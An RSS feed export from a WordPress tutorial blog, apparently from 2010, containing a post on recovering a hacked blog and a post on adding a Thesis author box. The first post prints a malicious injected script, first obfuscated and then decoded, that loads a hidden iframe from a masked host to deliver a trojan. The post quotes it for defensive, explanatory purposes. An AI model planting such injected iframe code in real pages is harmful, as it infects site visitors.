<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Sam&#039;s Web Guide &#187; php</title>
	<atom:link href="http://samswebguide.com/tag/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://samswebguide.com</link>
	<description>The Evolving Web in Simple Terms</description>
	<lastBuildDate>Wed, 18 Apr 2012 13:06:17 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Have You Ever Been Hacked? Simple Mistakes to Avoid &amp; How to Recover</title>
		<link>http://samswebguide.com/2010/03/26/have-you-ever-been-hacked-simple-mistakes-to-avoid-how-to-recover/</link>
		<comments>http://samswebguide.com/2010/03/26/have-you-ever-been-hacked-simple-mistakes-to-avoid-how-to-recover/#comments</comments>
		<pubDate>Fri, 26 Mar 2010 20:55:57 +0000</pubDate>
		<dc:creator>Sam</dc:creator>
				<category><![CDATA[Blogging & SEO]]></category>
		<category><![CDATA[Other Tutorials]]></category>
		<category><![CDATA[Security Tutorials]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[prevention]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://samswebguide.com/?p=478</guid>
		<description><![CDATA[WordPress is the most popular blogging platform in the world with over 6 Million downloads so far (See why I like wordpress here) and because its so popular, you know the bad guys will begin to target its users. Hacking is a very serious issue that can cripple any website and erase a hard earned ...]]></description>
			<content:encoded><![CDATA[<p>WordPress is the most popular blogging platform in the world with over 6 Million downloads so far (<a title="Best Blogging Platform" href="http://samswebguide.com/2010/02/26/wordpress-the-best-content-management-system-cms-for-my-blog/" target="_blank">See why I like wordpress here</a>) and because its so popular, you know the bad guys will begin to target its users. Hacking is a very serious issue that can cripple any website and erase a hard earned source of income, especially for the unsuspecting. The thing about it is many of us have never witnessed the devastating effects that malicious scripts can have on a website, so I&#8217;m going to show you an example of what happens when hackers attack and how to deal with it.</p>
<p><span id="more-478"></span></p>
<p>Fortunately, I have never been hacked, so I will be showing an example from another person&#8217;s experience that I came across yesterday. Below is a screenshot of his wordpress dashboard 2 months after the malicious script was installed.</p>
<div id="attachment_487" class="wp-caption aligncenter" style="width: 530px"><img class="size-full wp-image-487" title="Hacked WordPress Screenshot" src="http://samswebguide.com/wp-content/uploads/2010/03/hacked-screenshot.jpg" alt="Hacked WordPress Screenshot" width="520" height="394" /><p class="wp-caption-text">Hacked WordPress Screenshot</p></div>
<p style="text-align: center;">
<p>As you can see, everything&#8217;s all mixed up. When he tried to visit his blog through his web browser, his anti-virus software popped up with warnings that a trojan horse was found on the site and the site may be dangerous. This is when he realized that something had gone wrong; after the damage was already done.</p>
<h3><span style="color: #993300;">The Malicious Code</span></h3>
<p>He then decided to check his theme&#8217;s html files to find the source of the problem and here he found some code that he did not recognize because the malicious code was encrypted. Example below:</p>
<p><em>&lt;script language=”javascript”&gt;<strong>eval(unescape(“%64%6F%63%75%6D%65</strong></em></p>
<p>The hackers obviously encrypted a part of the line of code hoping to hide the true nature and purpose of the script. When decoded the code reads as follows:</p>
<p><em>&lt;script  language=”javascript”&gt;eval(unescape(“document.write(‘&lt;iframe  src=”http://xxxxxxxx.org/in.php” width=1 height=1  frameborder=0&gt;&lt;/iframe&gt;’);”))&lt;/script&gt;</em></p>
<p>The script was actually trying to call a malicious website to load on his website through a hidden frame. This website would automatically load a trojan horse virus in the his browser.<em> </em></p>
<h3><span style="color: #993300;">How Did The Script Get in the Html for his Blog?</span></h3>
<p>The next question is; how did this malicious code get into his blog in the first place? Answer: A virus on his local windows PC stole his FTP login credentials from his FTP client and then used the FTP client to remotely infect the site, considering that he used his FTP to directly access his blog&#8217;s directories. Typically, the php files with execution permission within the directories were infected, especially the plugin and theme files are the first targets.</p>
<h3><span style="color: #993300;">The Solution</span></h3>
<p>Here are some steps to take to remove an infestation:</p>
<p>1) Ensure that you have a robust anti-virus software on your PC that is updated. Run a complete scan of your entire computer system and ensure that all viruses are removed. I would recommend downloading <a title="Malwarebytes' Anti-Malware" href="http://www.malwarebytes.org/" target="_blank">Malwarebytes&#8217; Anti-Malware Software</a> to compliment your anti-virus software. This works very well.</p>
<p>2) In this scenario, it was only the default wordpress php files that were affected, so a fresh copy of the files were uploaded after removing the malicious ones from the hosting server.</p>
<p>3) <span style="color: #993300;"><span style="color: #000000;"> </span></span>Change local FTP passwords and ensure that the new ones are very complex. This is very important to do because normally after a malicious attack there is always an open &#8220;backdoor&#8221; that remains and the hacker can easily exploit this.</p>
<p>4) To be on the safe side, change your hosting account&#8217;s password as well as your site&#8217;s database password, whether it is Postgre or MySQL.</p>
<h3><span style="color: #993300;">PHP &amp; HTML Knowledge</span></h3>
<p>It is very important to know basic html and php because this will give you the benefit of recognizing suspicious activity and malicious code and I can&#8217;t stress this enough. A site such as <a title="Lynda Software Training" href="http://www.lynda.com" target="_blank">Lynda.com</a> provides amazing video tutorials that will definitely help you to grasp the basics and master programming languages if you&#8217;re seriously interested. They have helped me a lot.</p>
<h3><span style="color: #993300;">Prevention is Better Than Cure</span></h3>
<p>You may view a list of plugins and techniques that will help to prevent malicious attacks on one of my previous posts here: <span style="color: #000000;"><a href="../2010/03/20/10-simple-steps-to-secure-protect-your-wordpress-blog/">10  Simple Steps to Secure &amp; Protect your WordPress Blog</a></span></p>
<p><span style="color: #000000;">Some key points that are not in that post are:</span></p>
<p><span style="color: #000000;">1) </span>Do not save your login credentials in your FTP client.</p>
<p>2) Change all passwords on a monthly basis</p>
<p>3) Be carefull when downloading free plugins. It is best to download them from <a title="Free WordPress PLugins" href="http://wordpress.org/extend/plugins/" target="_blank">wordpress.org</a>.</p>
<p>4) Keep your anti-virus software updated</p>
<p>Please note that if your blog gets hacked, the symptoms and the  causes may be different from what had happened in the scenario described above..</p>
<p>If your wordpress blog gets hacked, don’t panic. Use the following  resources to recover your website:</p>
<h3><span style="color: #993300;">Additional Resources if you Suspect That You May Be Hacked</span></h3>
<p>1) Use <a title="Google Webmaster Tools - Malicious Code Detector" href="http://www.google.com/webmasters" target="_blank">Google Webmaster Tools</a> to detect malicious scripts.</p>
<p>2) Post the details of symptoms to 	the <a href="http://wordpress.org/support/" target="_blank">WordPress Community</a>, if you  notice any suspicious activities happening in your blog</p>
<p>3) If you decide to clean it up 	yourself, there is a good list of  steps to take, in <a href="http://codex.wordpress.org/FAQ_My_site_was_hacked" target="_blank">an article at  WordPress.org Codex</a>.</p>
<p>Please note that if your blog or other type of site gets hacked, the symptoms and the causes  may be different from what had happened in the scenario I presented.</p>
<p>I hope you found this post helpful and will take the steps to prevent the exploitation of your site / blog.</p>
<p><strong><span style="color: #000080;">Discussion: Have you ever been hacked? Leave a comment and tell us of your experiences. If you would like to have a more in-depth discussion on this topic, feel free to <a title="Contact Robyn" href="http://samswebguide.com/contact-sam/" target="_blank">contact me through here</a>.</span></strong></p>


<div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-knowledge">
<ul class="socials">
		<li class="shr-twitter">
			<a href="http://www.shareaholic.com/api/share/?title=Have+You+Ever+Been+Hacked%3F+Simple+Mistakes+to+Avoid+%26+How+to+Recover&amp;link=http://samswebguide.com/2010/03/26/have-you-ever-been-hacked-simple-mistakes-to-avoid-how-to-recover/&amp;notes=WordPress%20is%20the%20most%20popular%20blogging%20platform%20in%20the%20world%20with%20over%206%20Million%20downloads%20so%20far%20%28See%20why%20I%20like%20wordpress%20here%29%20and%20because%20its%20so%20popular%2C%20you%20know%20the%20bad%20guys%20will%20begin%20to%20target%20its%20users.%20Hacking%20is%20a%20very%20serious%20issue%20that%20can%20cripple%20any%20website%20and%20erase%20a%20hard%20earned%20sou&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=%2524%257Btitle%257D%2B-%2B%2524%257Bshort_link%257D&amp;service=7&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="shr-facebook">
			<a href="http://www.shareaholic.com/api/share/?title=Have+You+Ever+Been+Hacked%3F+Simple+Mistakes+to+Avoid+%26+How+to+Recover&amp;link=http://samswebguide.com/2010/03/26/have-you-ever-been-hacked-simple-mistakes-to-avoid-how-to-recover/&amp;notes=WordPress%20is%20the%20most%20popular%20blogging%20platform%20in%20the%20world%20with%20over%206%20Million%20downloads%20so%20far%20%28See%20why%20I%20like%20wordpress%20here%29%20and%20because%20its%20so%20popular%2C%20you%20know%20the%20bad%20guys%20will%20begin%20to%20target%20its%20users.%20Hacking%20is%20a%20very%20serious%20issue%20that%20can%20cripple%20any%20website%20and%20erase%20a%20hard%20earned%20sou&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=5&amp;tags=&amp;ctype=" rel="nofollow" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="shr-googlebuzz">
			<a href="http://www.shareaholic.com/api/share/?title=Have+You+Ever+Been+Hacked%3F+Simple+Mistakes+to+Avoid+%26+How+to+Recover&amp;link=http://samswebguide.com/2010/03/26/have-you-ever-been-hacked-simple-mistakes-to-avoid-how-to-recover/&amp;notes=WordPress%20is%20the%20most%20popular%20blogging%20platform%20in%20the%20world%20with%20over%206%20Million%20downloads%20so%20far%20%28See%20why%20I%20like%20wordpress%20here%29%20and%20because%20its%20so%20popular%2C%20you%20know%20the%20bad%20guys%20will%20begin%20to%20target%20its%20users.%20Hacking%20is%20a%20very%20serious%20issue%20that%20can%20cripple%20any%20website%20and%20erase%20a%20hard%20earned%20sou&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=257&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="shr-delicious">
			<a href="http://www.shareaholic.com/api/share/?title=Have+You+Ever+Been+Hacked%3F+Simple+Mistakes+to+Avoid+%26+How+to+Recover&amp;link=http://samswebguide.com/2010/03/26/have-you-ever-been-hacked-simple-mistakes-to-avoid-how-to-recover/&amp;notes=WordPress%20is%20the%20most%20popular%20blogging%20platform%20in%20the%20world%20with%20over%206%20Million%20downloads%20so%20far%20%28See%20why%20I%20like%20wordpress%20here%29%20and%20because%20its%20so%20popular%2C%20you%20know%20the%20bad%20guys%20will%20begin%20to%20target%20its%20users.%20Hacking%20is%20a%20very%20serious%20issue%20that%20can%20cripple%20any%20website%20and%20erase%20a%20hard%20earned%20sou&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=2&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="shr-stumbleupon">
			<a href="http://www.shareaholic.com/api/share/?title=Have+You+Ever+Been+Hacked%3F+Simple+Mistakes+to+Avoid+%26+How+to+Recover&amp;link=http://samswebguide.com/2010/03/26/have-you-ever-been-hacked-simple-mistakes-to-avoid-how-to-recover/&amp;notes=WordPress%20is%20the%20most%20popular%20blogging%20platform%20in%20the%20world%20with%20over%206%20Million%20downloads%20so%20far%20%28See%20why%20I%20like%20wordpress%20here%29%20and%20because%20its%20so%20popular%2C%20you%20know%20the%20bad%20guys%20will%20begin%20to%20target%20its%20users.%20Hacking%20is%20a%20very%20serious%20issue%20that%20can%20cripple%20any%20website%20and%20erase%20a%20hard%20earned%20sou&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=38&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="shr-digg">
			<a href="http://www.shareaholic.com/api/share/?title=Have+You+Ever+Been+Hacked%3F+Simple+Mistakes+to+Avoid+%26+How+to+Recover&amp;link=http://samswebguide.com/2010/03/26/have-you-ever-been-hacked-simple-mistakes-to-avoid-how-to-recover/&amp;notes=WordPress%20is%20the%20most%20popular%20blogging%20platform%20in%20the%20world%20with%20over%206%20Million%20downloads%20so%20far%20%28See%20why%20I%20like%20wordpress%20here%29%20and%20because%20its%20so%20popular%2C%20you%20know%20the%20bad%20guys%20will%20begin%20to%20target%20its%20users.%20Hacking%20is%20a%20very%20serious%20issue%20that%20can%20cripple%20any%20website%20and%20erase%20a%20hard%20earned%20sou&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=3&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="shr-reddit">
			<a href="http://www.shareaholic.com/api/share/?title=Have+You+Ever+Been+Hacked%3F+Simple+Mistakes+to+Avoid+%26+How+to+Recover&amp;link=http://samswebguide.com/2010/03/26/have-you-ever-been-hacked-simple-mistakes-to-avoid-how-to-recover/&amp;notes=WordPress%20is%20the%20most%20popular%20blogging%20platform%20in%20the%20world%20with%20over%206%20Million%20downloads%20so%20far%20%28See%20why%20I%20like%20wordpress%20here%29%20and%20because%20its%20so%20popular%2C%20you%20know%20the%20bad%20guys%20will%20begin%20to%20target%20its%20users.%20Hacking%20is%20a%20very%20serious%20issue%20that%20can%20cripple%20any%20website%20and%20erase%20a%20hard%20earned%20sou&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=40&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="shr-linkedin">
			<a href="http://www.shareaholic.com/api/share/?title=Have+You+Ever+Been+Hacked%3F+Simple+Mistakes+to+Avoid+%26+How+to+Recover&amp;link=http://samswebguide.com/2010/03/26/have-you-ever-been-hacked-simple-mistakes-to-avoid-how-to-recover/&amp;notes=WordPress%20is%20the%20most%20popular%20blogging%20platform%20in%20the%20world%20with%20over%206%20Million%20downloads%20so%20far%20%28See%20why%20I%20like%20wordpress%20here%29%20and%20because%20its%20so%20popular%2C%20you%20know%20the%20bad%20guys%20will%20begin%20to%20target%20its%20users.%20Hacking%20is%20a%20very%20serious%20issue%20that%20can%20cripple%20any%20website%20and%20erase%20a%20hard%20earned%20sou&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=88&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on LinkedIn">Share this on LinkedIn</a>
		</li>
		<li class="shr-blogengage">
			<a href="http://www.shareaholic.com/api/share/?title=Have+You+Ever+Been+Hacked%3F+Simple+Mistakes+to+Avoid+%26+How+to+Recover&amp;link=http://samswebguide.com/2010/03/26/have-you-ever-been-hacked-simple-mistakes-to-avoid-how-to-recover/&amp;notes=WordPress%20is%20the%20most%20popular%20blogging%20platform%20in%20the%20world%20with%20over%206%20Million%20downloads%20so%20far%20%28See%20why%20I%20like%20wordpress%20here%29%20and%20because%20its%20so%20popular%2C%20you%20know%20the%20bad%20guys%20will%20begin%20to%20target%20its%20users.%20Hacking%20is%20a%20very%20serious%20issue%20that%20can%20cripple%20any%20website%20and%20erase%20a%20hard%20earned%20sou&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=286&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Engage with this article!">Engage with this article!</a>
		</li>
</ul><div style="clear: both;"></div><div class="shr-getshr" style="visibility:hidden;font-size:10px !important"><a target="_blank" href="http://www.shareaholic.com/?src=pub">Get Shareaholic</a></div><div style="clear: both;"></div></div>

]]></content:encoded>
			<wfw:commentRss>http://samswebguide.com/2010/03/26/have-you-ever-been-hacked-simple-mistakes-to-avoid-how-to-recover/feed/</wfw:commentRss>
		<slash:comments>26</slash:comments>
		</item>
		<item>
		<title>How to Add an About Author Box in Thesis 1.6</title>
		<link>http://samswebguide.com/2010/03/20/how-to-add-an-about-author-box-in-thesis-1-6/</link>
		<comments>http://samswebguide.com/2010/03/20/how-to-add-an-about-author-box-in-thesis-1-6/#comments</comments>
		<pubDate>Sat, 20 Mar 2010 13:39:54 +0000</pubDate>
		<dc:creator>Sam</dc:creator>
				<category><![CDATA[Thesis Tutorials]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[About Author]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[thesis]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://samswebguide.com/?p=393</guid>
		<description><![CDATA[After posting a general tutorial on How to Add an About Author Box in the Post Footer in WordPress yesterday, my visitor traffic soared and quite a few persons were asking me how to add the author box to the Thesis theme. So since I like to please my readers, here&#8217;s a short and easy ...]]></description>
			<content:encoded><![CDATA[<p>After posting a general tutorial on <a title="How to Add an About Author Box in the Post Footer  in WordPress" rel="bookmark" href="../2010/03/19/how-to-add-an-about-author-box-in-the-post-footer-in-wordpress/" target="_blank">How to Add </a><a title="How to Add an About Author Box in the Post Footer  in  WordPress" rel="bookmark" href="../2010/03/19/how-to-add-an-about-author-box-in-the-post-footer-in-wordpress/" target="_blank"><img class="alignright size-full  wp-image-401" title="Thesis Image" src="http://samswebguide.com/wp-content/uploads/2010/03/thesis300x2501.png" alt="Thesis Image" width="146" height="120" /></a><a title="How to Add an About Author Box in the Post Footer  in WordPress" rel="bookmark" href="../2010/03/19/how-to-add-an-about-author-box-in-the-post-footer-in-wordpress/" target="_blank"><br />
an About Author Box in the Post Footer in  WordPress </a>yesterday, my visitor traffic soared and quite a few persons were asking me how to add the author box to the Thesis theme. So since I like to please my readers, here&#8217;s a short and easy tutorial on how to get it done.</p>
<p><span id="more-393"></span></p>
<h3>Step 1 &#8211; Add your bio to wordpress</h3>
<p>Fill out your profile information in the wordpress Users&#8217; Profile section. Ensure to add your first name and your site&#8217;s name because the script will be calling and displaying this information on your posts.</p>
<h3>Step 2 &#8211; Code in the Custom_functions.php file</h3>
<p>Access your <strong>Thesis Options</strong> (Located at the bottom-left in your wordpress admin) and select <strong>Custom File Editor</strong>, this is where you will add the code to call the bio information. Within the thesis custom file editor, ensure that custom_functions.php is selected in the file selection drop-down menu at the top. If it is not selected then select it from the drop-down menu and click <strong>Edit Selected File.</strong></p>
<p>Then add the code below at the end of the file and click save:<br />
<code><br />
function post_footer() {<br />
if (is_single())<br />
{<br />
?&gt;<br />
&lt;div class="postauthor"</code><code>&gt;<br />
&lt;?php echo get_avatar( get_the_author_id() , 120 ); ?&gt;<br />
&lt;h4&gt;Article by &lt;a href="&lt;?php the_author_url(); ?&gt;"&gt;<br />
&lt;?php the_author_firstname(); ?&gt; &lt;?php the_author_lastname(); ?&gt;&lt;/a&gt;&lt;/h4&gt;<br />
&lt;p&gt;&lt;?php the_author_firstname(); ?&gt; has written &lt;strong&gt;&lt;?php the_author_posts(); ?&gt;&lt;/strong&gt; awesome articles for us. &lt;br/&gt;&lt;br/&gt;&lt;?php the_author_description(); ?&gt;&lt;/p&gt;<br />
&lt;/div&gt;<br />
&lt;?php<br />
}<br />
}<br />
add_action('thesis_hook_after_post_box', 'post_footer');</code></p>
<p><span style="color: #993300;"><strong><span style="color: #000000;">Note: For the code in the bold highlight above, the RSS feed addresses should be changed to your own.</span></strong><br />
</span></p>
<h3><span style="color: #993300;"><span style="color: #000000;">Step 3 &#8211; Code in the Custom.css file</span></span></h3>
<p><span style="color: #993300;"><span style="color: #000000;">Within your custom file editor select <strong>Custom.css</strong> from the drop-down menu and click edit selected file. Then add the css code below at the end of the file and hit save:</span></span><br />
<code><br />
.postauthor { background: #F5F5F5; border-top: 1px solid #e1e1e0; border-bottom: 1px solid #e1e1e0; overflow: hidden; padding: 1.5em; }<br />
.postauthor img { border: 5px solid #e2dede; float: left; margin-right: 1.5em; }<br />
.postauthor h4 { color: #666; font-size: 2em; margin-bottom: 5px; }<br />
.postauthor p { color: #515151; font-size: 13px; margin-bottom: 12px; }<br />
</code></p>
<p>You should end up with something like this:<span style="color: #993300;"> </span><img class="aligncenter  size-full wp-image-399" title="Thesis Author Box" src="http://samswebguide.com/wp-content/uploads/2010/03/thesis-author-box.png" alt="Thesis Author Box" width="457" height="148" /><span style="color: #993300;"><span style="color: #000000;">And that&#8217;s it. Hope you found this useful.</span></span></p>
<p><span style="color: #993300;"><span style="color: #000000;"> </span></span></p>
<p><span style="color: #993300;"><span style="color: #000000;"><span style="color: #000000;">Please let me know if this works for you or if you have any difficulties. Everybody is going crazy over the Thesis theme, can anyone convince me as to why I should switch?</span><br />
</span></span></p>


<div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-knowledge">
<ul class="socials">
		<li class="shr-twitter">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+Add+an+About+Author+Box+in+Thesis+1.6&amp;link=http://samswebguide.com/2010/03/20/how-to-add-an-about-author-box-in-thesis-1-6/&amp;notes=After%20posting%20a%20general%20tutorial%20on%20How%20to%20Add%20%0D%0Aan%20About%20Author%20Box%20in%20the%20Post%20Footer%20in%20%20Wordpress%20yesterday%2C%20my%20visitor%20traffic%20soared%20and%20quite%20a%20few%20persons%20were%20asking%20me%20how%20to%20add%20the%20author%20box%20to%20the%20Thesis%20theme.%20So%20since%20I%20like%20to%20please%20my%20readers%2C%20here%27s%20a%20short%20and%20easy%20tutorial%20on%20h&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=%2524%257Btitle%257D%2B-%2B%2524%257Bshort_link%257D&amp;service=7&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="shr-facebook">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+Add+an+About+Author+Box+in+Thesis+1.6&amp;link=http://samswebguide.com/2010/03/20/how-to-add-an-about-author-box-in-thesis-1-6/&amp;notes=After%20posting%20a%20general%20tutorial%20on%20How%20to%20Add%20%0D%0Aan%20About%20Author%20Box%20in%20the%20Post%20Footer%20in%20%20Wordpress%20yesterday%2C%20my%20visitor%20traffic%20soared%20and%20quite%20a%20few%20persons%20were%20asking%20me%20how%20to%20add%20the%20author%20box%20to%20the%20Thesis%20theme.%20So%20since%20I%20like%20to%20please%20my%20readers%2C%20here%27s%20a%20short%20and%20easy%20tutorial%20on%20h&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=5&amp;tags=&amp;ctype=" rel="nofollow" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="shr-googlebuzz">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+Add+an+About+Author+Box+in+Thesis+1.6&amp;link=http://samswebguide.com/2010/03/20/how-to-add-an-about-author-box-in-thesis-1-6/&amp;notes=After%20posting%20a%20general%20tutorial%20on%20How%20to%20Add%20%0D%0Aan%20About%20Author%20Box%20in%20the%20Post%20Footer%20in%20%20Wordpress%20yesterday%2C%20my%20visitor%20traffic%20soared%20and%20quite%20a%20few%20persons%20were%20asking%20me%20how%20to%20add%20the%20author%20box%20to%20the%20Thesis%20theme.%20So%20since%20I%20like%20to%20please%20my%20readers%2C%20here%27s%20a%20short%20and%20easy%20tutorial%20on%20h&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=257&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="shr-delicious">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+Add+an+About+Author+Box+in+Thesis+1.6&amp;link=http://samswebguide.com/2010/03/20/how-to-add-an-about-author-box-in-thesis-1-6/&amp;notes=After%20posting%20a%20general%20tutorial%20on%20How%20to%20Add%20%0D%0Aan%20About%20Author%20Box%20in%20the%20Post%20Footer%20in%20%20Wordpress%20yesterday%2C%20my%20visitor%20traffic%20soared%20and%20quite%20a%20few%20persons%20were%20asking%20me%20how%20to%20add%20the%20author%20box%20to%20the%20Thesis%20theme.%20So%20since%20I%20like%20to%20please%20my%20readers%2C%20here%27s%20a%20short%20and%20easy%20tutorial%20on%20h&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=2&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="shr-stumbleupon">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+Add+an+About+Author+Box+in+Thesis+1.6&amp;link=http://samswebguide.com/2010/03/20/how-to-add-an-about-author-box-in-thesis-1-6/&amp;notes=After%20posting%20a%20general%20tutorial%20on%20How%20to%20Add%20%0D%0Aan%20About%20Author%20Box%20in%20the%20Post%20Footer%20in%20%20Wordpress%20yesterday%2C%20my%20visitor%20traffic%20soared%20and%20quite%20a%20few%20persons%20were%20asking%20me%20how%20to%20add%20the%20author%20box%20to%20the%20Thesis%20theme.%20So%20since%20I%20like%20to%20please%20my%20readers%2C%20here%27s%20a%20short%20and%20easy%20tutorial%20on%20h&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=38&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="shr-digg">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+Add+an+About+Author+Box+in+Thesis+1.6&amp;link=http://samswebguide.com/2010/03/20/how-to-add-an-about-author-box-in-thesis-1-6/&amp;notes=After%20posting%20a%20general%20tutorial%20on%20How%20to%20Add%20%0D%0Aan%20About%20Author%20Box%20in%20the%20Post%20Footer%20in%20%20Wordpress%20yesterday%2C%20my%20visitor%20traffic%20soared%20and%20quite%20a%20few%20persons%20were%20asking%20me%20how%20to%20add%20the%20author%20box%20to%20the%20Thesis%20theme.%20So%20since%20I%20like%20to%20please%20my%20readers%2C%20here%27s%20a%20short%20and%20easy%20tutorial%20on%20h&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=3&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="shr-reddit">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+Add+an+About+Author+Box+in+Thesis+1.6&amp;link=http://samswebguide.com/2010/03/20/how-to-add-an-about-author-box-in-thesis-1-6/&amp;notes=After%20posting%20a%20general%20tutorial%20on%20How%20to%20Add%20%0D%0Aan%20About%20Author%20Box%20in%20the%20Post%20Footer%20in%20%20Wordpress%20yesterday%2C%20my%20visitor%20traffic%20soared%20and%20quite%20a%20few%20persons%20were%20asking%20me%20how%20to%20add%20the%20author%20box%20to%20the%20Thesis%20theme.%20So%20since%20I%20like%20to%20please%20my%20readers%2C%20here%27s%20a%20short%20and%20easy%20tutorial%20on%20h&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=40&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="shr-linkedin">
